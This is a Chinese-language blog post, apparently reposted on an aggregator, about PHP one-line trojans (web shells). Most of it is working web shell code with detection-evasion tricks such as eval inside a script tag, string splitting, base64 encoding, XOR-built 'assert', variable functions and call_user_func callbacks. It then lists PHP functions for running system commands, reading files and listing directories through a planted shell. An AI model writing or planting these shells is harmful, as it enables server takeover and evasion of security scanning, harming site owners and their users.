一句话木马

Posted H3h3QAQ

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了一句话木马相关的知识,希望对你有一定的参考价值。

#一句话木马

传统防护检测的的免杀方法:

一、隐藏关键字

绕过php代码标志<?的限制:

<script language="php">@eval($_POST['x'])</script>

拆分拼接:

<?php
$arr=explode(",","a,s,d,f,s,d,e,k,r,t"); //把字符串打散为数组
$payload=$arr[0].$arr[1].$arr[4].$arr[6].$arr[8].$arr[9];//拼接成assert
//php版本要求:<=7.0
@$payload(@$_GET['x']);
?>

编码:

<?php
    $a=base64_decode("YXNzZXJ0");
    @$a($_POST('cmd'));
?>

随机异或,用异或运算来组成字符:

<?php
//也可以用十六进制进行进一步加密,例如
//$r="x4d"^"x3f";
$a="Y"^"8";//a
$b="T"^"'";//s
$c="*"^"O";//e
$d="M"^"?";//r
$e="-"^"Y";//t
$payload=$a.$b.$b.$c.$d.$e;//拼接成assert
@$payload(@$_POST['x']);
?>

可变函数:

<?php
@$_REQUEST['e'](@$_REQUEST['x']);
//传入e=assert&x=command
?>

可变变量:

<?php
$a='assert';
$b='a';
//$$b=$a='assert'
$$b($_POST['x']); //assert($_POST['x'])
?>

二、使用回调函数

回调函数:PHP是将函数以string形式传递的。可以使用任何内置或用户自定义函数,但除了语言结构例如:array(),echo,empty(),eval(),exit(),isset(),list(),print 或 unset()。

call_user_func ( $callback , $parameter)
$callback :被调用的回调函数
$parameter0个或以上的参数,被传入回调函数
<?php  
 @call_user_func($_GET['id'],$_POST['a']);
 //传入id=eval&a=command
?>

三、木马的使用

1、执行系统命令:

system()–执行外部程序,并显示输出

passthru()–执行外部程序并且显示原始输出

exec()–执行一个外部程序,不输出结果,echo返回结果的最后一行。

shell_exec()或–通过shell环境执行命令,需要echo

2、读文件:

file_ get_contents 一将整个文件读入为一个字符串

file()一把整个文件读入一个数组中

readfile一读取一个文件,并写入到输出缓冲

3、遍历目录:

scandir() 函数返回一个指定目录中的文件和目录的数组

未完待续~~~~

以上是关于一句话木马的主要内容,如果未能解决你的问题,请参考以下文章

一句话木马简介

一句话木马:初识木马练习

一句话木马饶过过滤

以下哪些是常见的php 一句话木马

PHP 一句话木马

PHP的网站,怎么扫描出潜藏的一句话木马